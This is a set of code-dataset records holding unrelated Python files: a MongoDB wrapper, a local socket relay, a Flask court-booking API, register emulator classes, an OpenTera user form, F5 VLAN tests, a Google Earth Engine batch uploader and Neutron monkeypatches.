Database\n \"\"\"\n def __init__(self, request_context: RequestContext):\n self._mongo_client = None\n self._mongo_database = None\n self._request_context = request_context\n\n @mongo_collection\n def ping(self):\n return PingCollection(self._mongo_database, self._request_context)\n\n @mongo_collection\n def open(self):\n return None\n\n def close(self):\n \"\"\"Disconnect from MongoDB.\n Close all sockets in the connection pools and stop the monitor threads. If this instance is used again it will\n be automatically re-opened and the threads restarted\n \"\"\"\n if self._mongo_client is not None:\n # Close the connection\n self._mongo_client.close()\n","sub_path":"Application/mongo_db/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"379792065","text":"import socket\nimport os, time\nimport fcntl\n\n\ndef readFile(fileName):\n r = open(fileName, 'r')\n # add shared-lock\n fcntl.flock(r, fcntl.LOCK_SH)\n data = r.read()\n # unlock\n fcntl.flock(r, fcntl.LOCK_UN)\n r.close() \n return data \n\n\ndef writeFile(fileName, data):\n w = open(fileName, 'w')\n # add exclusive-lock\n fcntl.flock(w, fcntl.LOCK_EX)\n w.write(data)\n # unlock\n fcntl.flock(w, fcntl.LOCK_UN)\n w.close()\n\n\ndef connToData(port1, port2):\n '''\n Use socket to connect to the dataServer(in local).\n \"port1\" is the masterServer's port.\n \"port2\" is the dataServer's port.\n '''\n\n master = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n master.bind(('localhost', port1))\n master.connect(('localhost', port2))\n\n last = os.path.getmtime('sendData')\n # wait until new command comes\n while True:\n present = os.path.getmtime('sendData')\n while present == last:\n time.sleep(0.1)\n present = os.path.getmtime('sendData')\n continue\n last = present\n sendData = readFile('sendData')\n \n print('send:', sendData)\n # send command to dataServer\n master.send(sendData.encode('utf-8'))\n\n if sendData == 'exit':\n \tcontinue\n # receive feedback from dataServer\n feeback = master.recv(20480)\n feeback = feeback.decode('utf-8')\n writeFile('recvData', feeback)\n\n print('feeback:\\n', feeback, '\\n')\n master.close() \n\n\nif __name__ == '__main__':\n connToData(10001, 20001)","sub_path":"masterServer/connToData.py","file_name":"connToData.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"37258821","text":"from flask import request, Blueprint, jsonify, make_response\nfrom my_app import db\nfrom my_app.models import Quadras\nfrom flask import Blueprint\n\n\n#Criação de quadra\ncreatequadra = Blueprint(\"createquadra\", __name__)\n\n\n\n\n\n@createquadra.route('/createquadra', methods=['POST','OPTIONS'])\ndef Createquadra():\n\n #verificação try exception \n try:\n if request.method == 'OPTIONS' :\n return _build_cors_prelight_response()\n \n elif request.method == 'POST':\n content = request.json\n descQuadraForm = content['descricao']\n tipoForm = content['tipo']\n comprimentoForm= float(content['comprimento'])\n larguraForm= float(content['largura'])\n\n #adiciona quadra\n quadra = Quadras(descQuadraForm, tipoForm, comprimentoForm, larguraForm)\n db.session.add(quadra)\n db.session.commit()\n return _corsify_actual_response(jsonify({'message': True})), 200\n \n #em caso de erro ao cadastrar quadra, retorna erro 400 \n except Exception:\n return _corsify_actual_response(jsonify({'message': False})), 400\n\n \n\n\n\nlistquadra = Blueprint(\"listquadra\", __name__)\n\n@listquadra.route('/listquadra', methods=['GET', 'OPTIONS'])\ndef ListQuadra():\n try:\n if request.method == \"OPTIONS\": # CORS preflight\n return _build_cors_prelight_response()\n elif request.method == \"GET\":\n quadras = Quadras.query.paginate(1, 10).items\n \n list = []\n for quadra in quadras:\n list.append({\n 'seqquadra': quadra.seqquadra,\n 'descricao': quadra.descricao,\n 'tipo': quadra.tipo,\n 'comprimento': str(quadra.comprimento),\n 'largura': str(quadra.largura)\n })\n \n return _corsify_actual_response(jsonify(list)), 200,\n\n except Exception:\n \n return _corsify_actual_response(jsonify({\"message\": False})), 400,\n\n\n\ndeletequadra = Blueprint(\"deletequadra\", __name__)\n\n\n@deletequadra.route('/deletequadra/', methods=['GET', 'OPTIONS'])\ndef deleteQuadra(id):\n try:\n if request.method == \"OPTIONS\": # CORS preflight\n return _build_cors_prelight_response()\n elif request.method == \"GET\":\n Quadras.query.filter_by(seqquadra=id).delete()\n db.session.commit()\n return _corsify_actual_response(jsonify({\"message\": True})), 200,\n except:\n return _corsify_actual_response(jsonify({\"message\": False})), 400,\n\n\n\ndef _build_cors_prelight_response():\n response = make_response()\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n response.headers.add('Access-Control-Allow-Headers', \"*\")\n response.headers.add('Access-Control-Allow-Methods', \"*\")\n return response\n\ndef _corsify_actual_response(response):\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n return response","sub_path":"WebServicesPython/my_app/quadras.py","file_name":"quadras.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"136797583","text":"\nclass GenericReg:\n regs = [0]*32\n flags = {'c':0, 'p':0, 'a':0, 'z':0, 's':0, 't':0, 'i':0, 'd':0, 'o':0}\n sp = 0\n\n def __init__(self, wordsize=4):\n self.mask = (1 << (wordsize*8)) - 1\n\n def __setitem__(self, name, value):\n if len(name) == 2 and name[1] == 'f':\n self.flags[name[0]] = value & self.mask\n elif name == 'sp':\n self.sp = value\n else:\n num = int(name[1:])\n self.regs[num] = value & self.mask\n\n def __getitem__(self, name):\n if len(name) == 2 and name[1] == 'f':\n return self.flags[name[0]] & self.mask\n elif name == 'sp':\n return self.sp\n else:\n num = int(name[1:])\n return self.regs[num] & self.mask\n\n def dump(self):\n s = \"\"\n for i in range(32):\n s += (\"%3s\" % (\"r%d\" % i)) + \" %08x \" % (self.regs[i])\n if i % 4 == 3:\n s += \"\\n\"\n for key in self.flags:\n if self.flags[key]: s += key.upper() + ' '\n else: s += key.lower() + ' '\n s += \"\\nSP %08x\" % self.sp\n return s\n\nclass x86Reg:\n regs = {'a':0, 'b':0, 'c':0, 'd':0, 'si':0, 'di':0, 'bp':0, 'sp':0}\n flags = {'c':0, 'p':0, 'a':0, 'z':0, 's':0, 't':0, 'i':0, 'd':0, 'o':0}\n\n def __setitem__(self, name, value):\n if len(name) == 2:\n if name[1] == 'l':\n self.regs[name[0]] = value & 0xFF\n elif name[1] == 'f':\n self.flags[name[0]] = value\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n elif len(name) == 3:\n if name[0] == 'e':\n if name[2] == 'i' or name[2] == 'p':\n self.regs[name[1:]] = value & 0xFFFFFFFF\n elif name[2] == 'x':\n self.regs[name[1]] = value & 0xFFFFFFFF\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n\n def __getitem__(self, name):\n if len(name) == 2:\n if name[1] == 'l':\n return self.regs[name[0]] & 0xFF\n if name[1] == 'f':\n return self.flags[name[0]]\n elif len(name) == 3:\n if name[0] == 'e':\n if name[2] == 'i' or name[2] == 'p':\n return self.regs[name[1:]] & 0xFFFFFFFF\n elif name[2] == 'x':\n return self.regs[name[1]] & 0xFFFFFFFF\n raise KeyError(\"Unsupported register name '%s'\" % name)\n\n def dump(self):\n s = \"\"\n s += \"eax %08x ebx %08x\\n\" % (self.regs['a'], self.regs['b'])\n s += \"ecx %08x edx %08x\\n\" % (self.regs['c'], self.regs['d'])\n s += \"edi %08x esi %08x\\n\" % (self.regs['di'], self.regs['si'])\n s += \"ebp %08x esp %08x\\n\" % (self.regs['bp'], self.regs['sp'])\n for key in self.flags:\n if self.flags[key]: s += key.upper() + ' '\n else: s += key.lower() + ' '\n return s\n\n","sub_path":"emul/reg.py","file_name":"reg.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"225712551","text":"from opentera.forms.TeraForm import *\nfrom flask_babel import gettext\nfrom modules.DatabaseModule.DBManagerTeraUserAccess import DBManagerTeraUserAccess\n\n\nclass TeraUserForm:\n\n @staticmethod\n def get_user_form(user_access: DBManagerTeraUserAccess):\n form = TeraForm(\"user\")\n\n # Sections\n section = TeraFormSection(\"informations\", gettext(\"Information\"))\n form.add_section(section)\n\n # Items\n section.add_item(TeraFormItem(\"id_user\", gettext(\"User ID\"), \"hidden\", True))\n section.add_item(TeraFormItem(\"user_uuid\", gettext(\"User UUID\"), \"hidden\"))\n section.add_item(TeraFormItem(\"user_name\", gettext(\"User Full Name\"), \"hidden\"))\n section.add_item(TeraFormItem(\"user_username\", gettext(\"Username\"), \"text\", True))\n section.add_item(TeraFormItem(\"user_enabled\", gettext(\"User Enabled\"), \"boolean\", True, item_default=True))\n section.add_item(TeraFormItem(\"user_firstname\", gettext(\"First Name\"), \"text\", True))\n section.add_item(TeraFormItem(\"user_lastname\", gettext(\"Last Name\"), \"text\", True))\n section.add_item(TeraFormItem(\"user_email\", gettext(\"Email\"), \"text\"))\n section.add_item(\n TeraFormItem(\"user_password\", gettext(\"Password\"), \"password\", item_options={\"confirm\": True}))\n section.add_item(TeraFormItem(\"user_superadmin\", gettext(\"User Is Super Administrator\"), \"boolean\", True))\n section.add_item(TeraFormItem(\"user_notes\", gettext(\"Notes\"), \"longtext\"))\n section.add_item(TeraFormItem(\"user_profile\", gettext(\"Profile\"), \"hidden\"))\n section.add_item(TeraFormItem(\"user_lastonline\", gettext(\"Last Connection\"), \"datetime\",\n item_options={\"readonly\": True}))\n\n return form.to_dict()\n\n # @staticmethod\n # def get_user_profile_form():\n # form = TeraForm(\"profile\")\n #\n # # Sections\n # section = TeraFormSection(\"main_prefs\", gettext(\"Preferences\"))\n # form.add_section(section)\n #\n # section.add_item(TeraFormItem(\"language\", gettext(\"Language\"), \"array\", False,\n # [TeraFormValue(\"fr\", gettext(\"Français\")),\n # TeraFormValue(\"en\", gettext(\"English\"))]))\n # section.add_item(TeraFormItem(\"notify_sounds\", gettext(\"Activate Notification Sounds\"), \"boolean\", False))\n\n # section1 = TeraFormSection(\"main_audio_video\", gettext(\"Configuration audio-vidéo\"))\n # form.add_section(section1)\n #\n # # Items\n # section1.add_item(TeraFormItem(\"camera\", gettext(\"Caméra\"), \"videoinputs\", True))\n # item = TeraFormItem(\"teracam_type\", gettext(\"Type de caméra\"), \"array\", True,\n # [TeraFormValue(\"0\", gettext(\"Caméra réseau\")),\n # TeraFormValue(\"1\", gettext(\"Capture d'écran\"))],\n # \"0\", TeraFormItemCondition(\"camera\", \"=\", \"TeraCam\"))\n # section1.add_item(item)\n #\n # item = TeraFormItem(\"teracam_src\", gettext(\"Adresse du flux de la caméra\"), \"text\", True,\n # item_condition=TeraFormItemCondition(\"teracam_type\", \"=\", 0))\n # section1.add_item(item)\n #\n # item = TeraFormItem(\"teracam_screen_fps\", gettext(\"Trames par seconde\"), \"array\", True,\n # [\"Maximum\", \"5\", \"10\", \"15\",\n # \"20\", \"24\", \"30\"],\n # item_condition=TeraFormItemCondition(\"teracam_type\", \"=\", 1))\n # section1.add_item(item)\n # item = TeraFormItem(\"teracam_screen_res\", gettext(\"Résolution\"), \"array\", True,\n # [\"Maximum\", \"160x120\", \"320x240\",\n # \"640x480\", \"720x480\", \"800x600\",\n # \"1024x768\", \"1280x720\", \"1440x900\",\n # \"1680x1050\", \"1920x1080\"],\n # item_condition=TeraFormItemCondition(\"teracam_type\", \"=\", 1))\n # section1.add_item(item)\n #\n # section1.add_item(TeraFormItem(\"camera_ptz\", gettext(\"Caméra contrôlable (PTZ)\"), \"boolean\"))\n # item = TeraFormItem(\"camera_ptz_type\", gettext(\"Type de contrôle\"), \"array\", True,\n # [TeraFormValue(\"0\", gettext(\"Vivotek\")), TeraFormValue(\"1\", gettext(\"ONVIF (générique)\"))],\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_ip\", gettext(\"Adresse réseau\"), \"text\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_port\", gettext(\"Port\"), \"numeric\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_username\", gettext(\"Nom utilisateur\"), \"text\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_password\", gettext(\"Mot de passe\"), \"password\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n #\n # section1.add_item(TeraFormItem(\"audio\", gettext(\"Microphone\"), \"audioinputs\", True))\n # section1.add_item(TeraFormItem(\"camera2\", gettext(\"Caméra secondaire\"), \"videoinputs\"))\n #\n # section2 = TeraFormSection(\"options\", gettext(\"Configuration générale\"))\n # form.add_section(section2)\n # section2.add_item(TeraFormItem(\"options_fullscreen\", gettext(\"Affichage en plein écran en séance\"), \"boolean\",\n # item_default=True))\n # section2.add_item(TeraFormItem(\"option_webaccess\", gettext(\"Permettre l'accès via le web\"), \"boolean\",\n # item_default=False))\n\n return form.to_dict()\n\n","sub_path":"teraserver/python/opentera/forms/TeraUserForm.py","file_name":"TeraUserForm.py","file_ext":"py","file_size_in_byte":6120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"607565660","text":"# Copyright 2016 F5 Networks Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nfrom f5.bigip.resource import MissingRequiredCreationParameter\nfrom f5.bigip.resource import MissingUpdateParameter\nfrom icontrol.session import iControlUnexpectedHTTPError\nfrom requests.exceptions import HTTPError\n\nDESCRIPTION = \"TESTDESCRIPTION\"\n\n\ndef delete_vlan(bigip, name, partition):\n v = bigip.net.vlans.vlan\n try:\n v.load(name=name, partition=partition)\n except HTTPError as err:\n if err.response.status_code != 404:\n raise\n return\n v.delete()\n\n\ndef setup_basic_test(request, bigip, name, partition):\n def teardown():\n delete_vlan(bigip, name, partition)\n\n v = bigip.net.vlans.vlan\n v.create(name=name, partition=partition)\n request.addfinalizer(teardown)\n return v\n\n\ndef setup_interfaces_test(request, bigip, name, partition, iname='1.1'):\n v = setup_basic_test(request, bigip, name, partition)\n i = v.interfaces_s.interfaces\n i.create(name=iname)\n return i, v\n\n\ndef setup_vlan_collection_get_test(request, bigip):\n def teardown():\n vc = bigip.net.vlans\n for v in vc.get_collection():\n v.delete()\n request.addfinalizer(teardown)\n\n\nclass TestVLANInterfacesCollection(object):\n def test_get_collection(self, request, bigip):\n # Setup will create a VLAN and one interfaces\n v1 = setup_basic_test(request, bigip, 'v1', 'Common')\n v1.interfaces_s.interfaces.create(name='1.1')\n ifcs = v1.interfaces_s.get_collection()\n i2 = ifcs[0]\n assert len(ifcs) is 1\n assert ifcs[0].name == '1.1'\n i2.delete()\n ifcs = v1.interfaces_s.get_collection()\n assert len(ifcs) is 0\n\n\nclass TestVLANInterfaces(object):\n def test_create_interfaces(self, request, bigip):\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n assert i.name == '1.1'\n\n def test_update_exclusive_attrs(self, request, bigip):\n '''Test that we remove the other exclusive args if we set one.\n\n The default interfaces that is made has the vlans set to tagged.\n We change it to untagged and make sure that the tagged is no longer\n an attribute.\n '''\n ifc, _ = setup_interfaces_test(request, bigip, 'somevlan', 'Common')\n ifc.untagged = True\n assert not hasattr(ifc, 'tagged')\n ifc.update()\n assert ifc.untagged is True\n ifc.tagged = True\n ifc.tagMode = 'service'\n assert not hasattr(ifc, 'untagged')\n ifc.update()\n assert ifc.tagged is True\n\n def test_update(self, request, bigip):\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i.update(untagged=True)\n assert not hasattr(i, 'tagged')\n assert i.untagged is True\n\n def test_update_mixed_attr_set(self, request, bigip):\n '''Test that we get an Exception because we have both exclusives set.\n\n This only happens when the user sets the attribute and then does the\n update with the other attribute set. We don't actually know which one\n the user wants to set.\n '''\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i.untagged = True\n assert not hasattr(i, 'tagged')\n assert i.untagged is True\n with pytest.raises(iControlUnexpectedHTTPError) as err:\n i.update(tagged=True, tagMode='service')\n assert err.response.status_code == 400\n assert \"may not be specified with\" in err.response.text\n\n def test_update_without_tagmode(self, request, bigip):\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i.tagged = True\n with pytest.raises(MissingUpdateParameter):\n i.update()\n\n def test_load(self, request, bigip):\n i1, v = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i2 = v.interfaces_s.interfaces\n i2.load(name='1.1')\n assert i1.name == i2.name\n assert i1.generation == i2.generation\n\n\nclass TestVLANCollection(object):\n def test_get_collection(self, request, bigip):\n setup_vlan_collection_get_test(request, bigip)\n vlans = ['v1', 'v2', 'v3']\n for vlan in vlans:\n bigip.net.vlans.vlan.create(name=vlan)\n vc = bigip.net.vlans.get_collection()\n assert len(vc) == 3\n for v in vc:\n assert v.name in vlans\n\n\nclass TestVLAN(object):\n def test_create_no_args(self, bigip):\n v1 = bigip.net.vlans.vlan\n with pytest.raises(MissingRequiredCreationParameter):\n v1.create()\n\n def test_CURDL(self, request, bigip):\n setup_vlan_collection_get_test(request, bigip)\n # Create a VLAN and verify some of the attributes\n v1 = bigip.net.vlans.vlan\n v1.create(name='v1', partition='Common')\n i1 = v1.interfaces_s.interfaces\n i1.create(name='1.1', tagged=True, tagMode='service')\n v1_ifcs = v1.interfaces_s.get_collection()\n gen1 = v1.generation\n assert v1.name == 'v1'\n assert hasattr(v1, 'generation') and isinstance(v1.generation, int)\n assert len(v1_ifcs) == 1\n assert v1_ifcs[0].name == '1.1'\n\n # Update it\n v1.description = DESCRIPTION\n v1.update()\n gen2 = v1.generation\n assert hasattr(v1, 'description')\n assert v1.description == DESCRIPTION\n assert gen2 > gen1\n\n # Refresh it\n v1.refresh()\n assert v1.generation == gen2\n\n # Load into a new variable\n v2 = bigip.net.vlans.vlan.load(name='v1', partition='Common')\n\n # Update v1 again\n v1.description = DESCRIPTION + DESCRIPTION\n v1.update()\n assert v1.generation > gen2\n assert v1.generation > v2.generation\n assert v2.description == DESCRIPTION\n assert v1.description == DESCRIPTION + DESCRIPTION\n\n def test_load_subcollection_(self, request, bigip):\n '''This tests for issue #148.\n\n Test that we we load a vlan object we can see the sub-s\n '''\n setup_interfaces_test(request, bigip, 'v1', 'Common')\n v2 = bigip.net.vlans.vlan.load(name='v1', partition='Common')\n v2_ifcs = v2.interfaces_s.get_collection()\n assert len(v2_ifcs) == 1\n","sub_path":"test/functional/tm/net/test_vlan.py","file_name":"test_vlan.py","file_ext":"py","file_size_in_byte":6812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"523990327","text":"import getpass\nimport glob\nimport logging\nimport os\nimport sys\nimport urllib\n\nimport ee\nimport requests\nimport retrying\n\nimport helper_functions\nimport metadata_loader\n\n\ndef upload(user, path_for_upload, metadata_path=None, collection_name=None):\n \"\"\"\n Uploads content of a given directory to GEE. The function first uploads an asset to Google Cloud Storage (GCS)\n and then uses ee.data.startIngestion to put it into GEE, Due to GCS intermediate step, users is asked for\n Google's account name and password.\n\n In case any exception happens during the upload, the function will repeat the call a given number of times, after\n which the error will be propagated further.\n\n :param user: name of a Google account\n :param path_for_upload: path to a directory\n :param metadata_path: (optional) path to file with metadata\n :param collection_name: (optional) name to be given for the uploaded collection\n :return:\n \"\"\"\n\n metadata = metadata_loader.load_metadata_from_csv(metadata_path) if metadata_path else None\n\n password = getpass.getpass()\n google_session = __get_google_auth_session(user, password)\n\n root_path_in_gee = ee.data.getAssetRoots()[0]['id']\n\n full_path_to_collection = root_path_in_gee + '/' + collection_name\n\n helper_functions.create_image_collection(full_path_to_collection)\n\n all_images_paths = glob.glob(os.path.join(path_for_upload, '*.tif'))\n no_images = len(all_images_paths)\n\n for current_image_no, image_path in enumerate(all_images_paths):\n logging.info('Processing image %d out of %d: %s', current_image_no+1, no_images, image_path)\n filename = helper_functions.get_filename_from_path(path=image_path)\n\n asset_full_path = full_path_to_collection + '/' + filename\n if helper_functions.collection_exist(asset_full_path):\n logging.warning(\"Asset %s already exists: not uploading\", filename)\n\n if metadata and not filename in metadata:\n logging.warning(\"No metadata exists for image %s: it will not be ingested\", filename)\n with open('assets_missing_metadata.log', 'a') as missing_metadata_file:\n missing_metadata_file.write(image_path + '\\n')\n continue\n\n properties = metadata[filename] if metadata else None\n\n try:\n r = __upload_to_gcs_and_start_ingestion_task(current_image_no, asset_full_path,\n google_session, image_path, properties)\n except Exception as e:\n logging.critical('Upload of %s has failed. Moving on...', filename)\n\n\n\n@retrying.retry(wait_exponential_multiplier=1000, wait_exponential_max=4000, stop_max_attempt_number=5)\ndef __upload_to_gcs_and_start_ingestion_task(current_image_no, asset_full_path, google_session, image_path, properties):\n asset_request = __upload_file(session=google_session,\n file_path=image_path,\n asset_name=asset_full_path,\n properties=properties)\n task_id = ee.data.newTaskId(1)[0]\n r = ee.data.startIngestion(task_id, asset_request)\n __periodic_wait(current_image=current_image_no, period=50)\n return r\n\n\ndef __validate_metadata(path_for_upload, metadata_path):\n validation_result = metadata_loader.validate_metadata_from_csv(metadata_path)\n keys_in_metadata = {result.keys for result in validation_result}\n images_paths = glob.glob(os.path.join(path_for_upload, '*.tif'))\n keys_in_data = {helper_functions.get_filename_from_path(path) for path in images_paths}\n missing_keys = keys_in_data - keys_in_metadata\n\n if missing_keys:\n logging.warning('%d images does not have a corresponding key in metadata', len(missing_keys))\n print('\\n'.join(e for e in missing_keys))\n else:\n logging.info('All images have metadata available')\n\n if not validation_result.success:\n print('Validation finished with errors. Type \"y\" to continue, default NO: ')\n choice = raw_input().lower()\n if choice not in ['y', 'yes']:\n logging.info('Application will terminate')\n exit(1)\n\n\ndef __extract_metadata_for_image(filename, metadata):\n if filename in metadata:\n return metadata[filename]\n else:\n logging.warning('Metadata for %s not found', filename)\n return None\n\n\ndef __get_google_auth_session(username, password):\n google_accounts_url = 'https://accounts.google.com'\n authentication_url = 'https://accounts.google.com/ServiceLoginAuth'\n\n session = requests.session()\n r = session.get(google_accounts_url)\n\n auto = r.headers.get('X-Auto-Login')\n follow_up = urllib.unquote(urllib.unquote(auto)).split('continue=')[-1]\n galx = r.cookies['GALX']\n\n payload = {\n 'continue': follow_up,\n 'Email': username,\n 'Passwd': password,\n 'GALX': galx\n }\n\n r = session.post(authentication_url, data=payload)\n\n if r.url != authentication_url:\n logging.info(\"Logged in\")\n return session\n else:\n logging.critical(\"Logging failed\")\n sys.exit(1)\n\n\ndef __get_upload_url(session):\n r = session.get('https://ee-api.appspot.com/assets/upload/geturl?')\n return r.json()['url']\n\n\ndef __upload_file(session, file_path, asset_name, properties=None):\n files = {'file': open(file_path, 'rb')}\n upload_url = __get_upload_url(session)\n upload = session.post(upload_url, files=files)\n gsid = upload.json()[0]\n asset_data = {\"id\": asset_name,\n \"tilesets\": [\n {\"sources\": [\n {\"primaryPath\": gsid,\n \"additionalPaths\": []\n }\n ]}\n ],\n \"bands\": [],\n \"properties\": properties\n }\n return asset_data\n\n\ndef __periodic_wait(current_image, period):\n if (current_image + 1) % period == 0:\n # Time to check how many tasks are running!\n logging.info('Periodic check for number of running tasks is due')\n helper_functions.wait_for_tasks_to_complete()","sub_path":"geebam/batch_uploader.py","file_name":"batch_uploader.py","file_ext":"py","file_size_in_byte":6169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"243307089","text":"# Copyright (c) 2016 Cisco Systems Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom neutron.api import extensions\n\nfrom gbpservice.neutron.plugins.ml2plus import extension_overrides\n\n\n# Monkeypatch Neutron to allow overriding its own extension\n# descriptors. Note that extension descriptor classes cannot be\n# monkeypatched directly because they are loaded explicitly by file\n# name and then used immediately.\n_real_get_extensions_path = extensions.get_extensions_path\n\n\ndef get_extensions_path(service_plugins=None):\n path = _real_get_extensions_path(service_plugins)\n return extension_overrides.__path__[0] + ':' + path\n\n\nextensions.get_extensions_path = get_extensions_path\n\n\nfrom gbpservice.common import utils as gbp_utils\n\n\ndef get_current_session():\n return gbp_utils.get_current_session()\n\n\nfrom neutron.plugins.ml2 import ovo_rpc\n\n\n# The following reduces the ERROR log level for a message\n# which is seen when a port_update even is sent. The\n# port_update is intentionally sent in the pre_commit\n# phase by the apic_aim mechanism driver, but is not\n# what neutron expects and hence it flags it.\novo_rpc.LOG.error = ovo_rpc.LOG.debug\n\n\nfrom neutron.callbacks import registry\n\nfrom gbpservice.network.neutronv2 import local_api\n\n\ndef notify(resource, event, trigger, **kwargs):\n if 'context' in kwargs:\n session = kwargs['context'].session\n else:\n session = get_current_session()\n\n txn = None\n if session:\n txn = local_api.get_outer_transaction(session.transaction)\n local_api.send_or_queue_registry_notification(\n session, txn, resource, event, trigger, **kwargs)\n\n\nregistry.notify = notify\n\n\nfrom neutron.callbacks import events\nfrom neutron.callbacks import exceptions\nfrom oslo_log import log as logging\n\n\nLOG = logging.getLogger(__name__)\n\n\ndef _notify_loop(resource, event, trigger, **kwargs):\n \"\"\"The notification loop.\"\"\"\n errors = []\n callbacks = kwargs.pop('callbacks', None)\n if not callbacks:\n callbacks = list(registry._get_callback_manager()._callbacks[\n resource].get(event, {}).items())\n LOG.debug(\"Notify callbacks %s for %s, %s\", callbacks, resource, event)\n for callback_id, callback in callbacks:\n try:\n callback(resource, event, trigger, **kwargs)\n except Exception as e:\n abortable_event = (\n event.startswith(events.BEFORE) or\n event.startswith(events.PRECOMMIT)\n )\n if not abortable_event:\n LOG.exception(\"Error during notification for \"\n \"%(callback)s %(resource)s, %(event)s\",\n {'callback': callback_id,\n 'resource': resource, 'event': event})\n else:\n LOG.error(\"Callback %(callback)s raised %(error)s\",\n {'callback': callback_id, 'error': e})\n errors.append(exceptions.NotificationError(callback_id, e))\n return errors\n\n\noriginal_notify_loop = registry._get_callback_manager()._notify_loop\n\n\nfrom inspect import isclass\nfrom inspect import isfunction\nfrom inspect import ismethod\n\n\n# The undecorated() and looks_like_a_decorator() functions have been\n# borrowed from the undecorated python library since RPM or Debian\n# packages are not readily available.\ndef looks_like_a_decorator(a):\n return (\n isfunction(a) or ismethod(a) or isclass(a)\n )\n\n\ndef undecorated(o):\n \"\"\"Remove all decorators from a function, method or class\"\"\"\n # class decorator\n if type(o) is type:\n return o\n\n try:\n # python2\n closure = o.func_closure\n except AttributeError:\n pass\n\n try:\n # python3\n closure = o.__closure__\n except AttributeError:\n return\n\n if closure:\n for cell in closure:\n # avoid infinite recursion\n if cell.cell_contents is o:\n continue\n\n # check if the contents looks like a decorator; in that case\n # we need to go one level down into the dream, otherwise it\n # might just be a different closed-over variable, which we\n # can ignore.\n\n # Note: this favors supporting decorators defined without\n # @wraps to the detriment of function/method/class closures\n if looks_like_a_decorator(cell.cell_contents):\n undecd = undecorated(cell.cell_contents)\n if undecd:\n return undecd\n else:\n return o\n else:\n return o\n\n\nfrom neutron.db.quota import api as quota_api\nfrom neutron.db.quota import driver # noqa\nfrom neutron import quota\n\n\nf = quota_api.remove_reservation\nquota_api.commit_reservation = undecorated(f)\n\n\ndef commit_reservation(context, reservation_id):\n quota_api.commit_reservation(context, reservation_id, set_dirty=False)\n\n\nquota.QUOTAS.get_driver().commit_reservation = commit_reservation\n\n\nfrom oslo_db.sqlalchemy import exc_filters\n\n\nexc_filters.LOG.exception = exc_filters.LOG.debug\n\n\nfrom neutron.db import models_v2\nfrom neutron.plugins.ml2 import db as ml2_db\nfrom neutron.plugins.ml2 import models\nfrom sqlalchemy.orm import exc\n\n\n# REVISIT: This method gets decorated in Pike for removal in Queens. So this\n# patching might need to be changed in Pike and removed in Queens.\ndef patched_get_locked_port_and_binding(context, port_id):\n \"\"\"Get port and port binding records for update within transaction.\"\"\"\n LOG.debug(\"Using patched_get_locked_port_and_binding\")\n try:\n port = (context.session.query(models_v2.Port).\n enable_eagerloads(False).\n filter_by(id=port_id).\n one())\n binding = (context.session.query(models.PortBinding).\n enable_eagerloads(False).\n filter_by(port_id=port_id).\n one())\n return port, binding\n except exc.NoResultFound:\n return None, None\n\n\nml2_db.get_locked_port_and_binding = patched_get_locked_port_and_binding\n","sub_path":"gbpservice/neutron/plugins/ml2plus/patch_neutron.py","file_name":"patch_neutron.py","file_ext":"py","file_size_in_byte":6610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
